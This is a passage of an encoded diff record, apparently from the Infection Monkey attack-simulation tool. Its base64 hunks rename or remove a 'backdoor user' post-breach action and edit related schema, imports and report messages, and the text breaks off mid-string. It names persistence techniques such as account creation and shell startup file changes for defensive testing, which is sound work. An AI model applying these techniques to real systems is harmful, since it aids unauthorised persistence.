CU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMTMlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E0JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTEwJTJDJTIybGluZXNDb3VudCUyMiUzQTQlN0QlN0QlN0QlN0Q="
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM0JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwKCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwKFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQkRfVVNFUiklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0ExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwZnJvbSUyMG1vbmtleV9pc2xhbmQuY2Muc2VydmljZXMuYXR0YWNrLnRlY2huaXF1ZV9yZXBvcnRzLnBiYV90ZWNobmlxdWUlMjBpbXBvcnQlMjAlNUMlNUMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EzJTJDJTIyYiUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjBQb3N0QnJlYWNoVGVjaG5pcXVlJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNCUyQyUyMmIlMjIlM0EzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0E0JTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E1JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNCU3RCU3RCU3RCU3RA==",
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMCUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHVuc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjBkaWRuJ3QlMjB0cnklMjBjcmVhdGluZyUyMGElMjBuZXclMjB1c2VyJTIwb24lMjB0aGUlMjBuZXR3b3JrJ3MlMjBzeXN0ZW1zLiU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTJDJTIyYiUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlMkMlMjJiJTIyJTNBMTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjB1c2VkX21zZyUyMCUzRCUyMCU1QyUyMk1vbmtleSUyMGNyZWF0ZWQlMjBhJTIwbmV3JTIwdXNlciUyMG9uJTIwdGhlJTIwbmV0d29yaydzJTIwc3lzdGVtcy4lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMyUyQyUyMmIlMjIlM0ExMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjBwYmFfbmFtZXMlMjAlM0QlMjAlNUJQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQkRfVVNFUiU1RCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTEzJTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNCU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMCUyQyUyMmxpbmVzQ291bnQlMjIlM0E0JTdEJTdEJTdEJTdE"
]
},
"monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": {
"index": [
- "f3e2a9bf..efd1c1d5",
+ "f3e2a9bf..1686288d",
"100644"
],
"fileA": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
"fileB": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
"status": "MODIFIED",
- "numLineDeletions": 9,
- "numLineAdditions": 0,
+ "numLineDeletions": 2,
+ "numLineAdditions": 2,
"hunkContainers": [
- "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC00JTJDMTUlMjAlMkI0JTJDNiUyMCU0MCU0MCUyMFBPU1RfQlJFQUNIX0FDVElPTlMlMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIybWlnaHQlMjBkbyUyMGFmdGVyJTIwYnJlYWNoaW5nJTIwYSUyMG5ldyUyMG1hY2hpbmUuJTIwVXNlZCUyMGluJTIwQVRUJTI2Q0slMjBhbmQlMjBaZXJvJTIwdHJ1c3QlMjByZXBvcnRzLiU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlNUMlMjJhbnlPZiU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTYlMkMlMjJiJTIyJTNBNiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMkJhY2tkb29yVXNlciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1RCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIyQmFjayUyMGRvb3IlMjB1c2VyJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyaW5mbyU1QyUyMiUzQSUyMCU1QyUyMkF0dGVtcHRzJTIwdG8lMjBjcmVhdGUlMjBhJTIwbmV3JTIwdXNlciUyMG9uJTIwdGhlJTIwc3lzdGVtJTIwYW5kJTIwZGVsZXRlJTIwaXQlMjBhZnRlcndhcmRzLiU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmF0dGFja190ZWNobmlxdWVzJTVDJTIyJTNBJTIwJTVCJTVDJTIyVDExMzYlNUMlMjIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE2JTJDJTIyYiUyMiUzQTclN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ0eXBlJTVDJTIyJTNBJTIwJTVDJTIyc3RyaW5nJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTclMkMlMjJiJTIyJTNBOCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExOCUyQyUyMmIlMjIlM0E5JTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBNCUyQyUyMmxpbmVzQ291bnQlMjIlM0ExNSU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0E0JTJDJTIybGluZXNDb3VudCUyMiUzQTYlN0QlN0QlN0QlN0Q="
- ]
- },
- "monkey/monkey_island/cc/services/config_schema/monkey.py": {
- "index": [
- "dd10cb35..0fe63516",
- "100644"
- ],
- "fileA": "monkey/monkey_island/cc/services/config_schema/monkey.py",
- "fileB": "monkey/monkey_island/cc/services/config_schema/monkey.py",
- "status": "MODIFIED",
- "numLineDeletions": 1,
- "numLineAdditions": 0,
- "hunkContainers": [
- "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC02MSUyQzclMjAlMkI2MSUyQzYlMjAlNDAlNDAlMjBNT05LRVklMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyJTI0cmVmJTVDJTIyJTNBJTIwJTVDJTIyJTIzJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjElMkMlMjJiJTIyJTNBNjElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2MiUyQyUyMmIlMjIlM0E2MiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmRlZmF1bHQlNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2MyUyQyUyMmIlMjIlM0E2MyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJCYWNrZG9vclVzZXIlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2NCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMkNvbW11bmljYXRlQXNOZXdVc2VyJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjUlMkMlMjJiJTIyJTNBNjQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJNb2RpZnlTaGVsbFN0YXJ0dXBGaWxlcyU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTY2JTJDJTIyYiUyMiUzQTY1JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIySGlkZGVuRmlsZXMlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2NyUyQyUyMmIlMjIlM0E2NiU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTYxJTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBNjElMkMlMjJsaW5lc0NvdW50JTIyJTNBNiU3RCU3RCU3RCU3RA=="
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC05JTJDOCUyMCUyQjklMkM4JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJlbnVtJTVDJTIyJTNBJTIwJTVCJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOSUyQyUyMmIlMjIlM0E5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyQmFja2Rvb3JVc2VyJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTAlMkMlMjJiJTIyJTNBMTAlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUQlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMSUyQyUyMmIlMjIlM0ExMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ0aXRsZSU1QyUyMiUzQSUyMCU1QyUyMkJhY2slMjBkb29yJTIwdXNlciU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmluZm8lNUMlMjIlM0ElMjAlNUMlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMGRlbGV0ZSUyMGl0JTIwYWZ0ZXJ3YXJkcy4lNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIyQmFja2Rvb3JVc2VyJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJpbmZvJTVDJTIyJTNBJTIwJTVDJTIyQmFja2Rvb3JVc2VyJTIwaW5mbyU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyYXR0YWNrX3RlY2huaXF1ZXMlNUMlMjIlM0ElMjAlNUIlNUMlMjJUMTEzNiU1QyUyMiU1RCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE0JTJDJTIyYiUyMiUzQTE0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTUlMkMlMjJiJTIyJTNBMTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNiUyQyUyMmIlMjIlM0ExNiU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTklMkMlMjJsaW5lc0NvdW50JTIyJTNBOCU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0E5JTJDJTIybGluZXNDb3VudCUyMiUzQTglN0QlN0QlN0QlN0Q="
]
}
},
- "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQWluZGV4JTIwYzNiYmE5OTUuLjJiZDQ1ODJmJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM0JTIwJTQwJTQwJTBBJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlMjAlM0QlMjAlMjJDb21tdW5pY2F0ZSUyMGFzJTIwbmV3JTIwdXNlciUyMiUwQS1QT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTIwJTNEJTIwJTIyQmFja2Rvb3IlMjB1c2VyJTIyJTBBJTIwUE9TVF9CUkVBQ0hfRklMRV9FWEVDVVRJT04lMjAlM0QlMjAlMjJGaWxlJTIwZXhlY3V0aW9uJTIyJTBBJTIwUE9TVF9CUkVBQ0hfU0hFTExfU1RBUlRVUF9GSUxFX01PRElGSUNBVElPTiUyMCUzRCUyMCUyMk1vZGlmeSUyMHNoZWxsJTIwc3RhcnR1cCUyMGZpbGUlMjIlMEElMjBQT1NUX0JSRUFDSF9ISURERU5fRklMRVMlMjAlM0QlMjAlMjJIaWRlJTIwZmlsZXMlMjBhbmQlMjBkaXJlY3RvcmllcyUyMiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRmFkZF91c2VyLnB5JTBBaW5kZ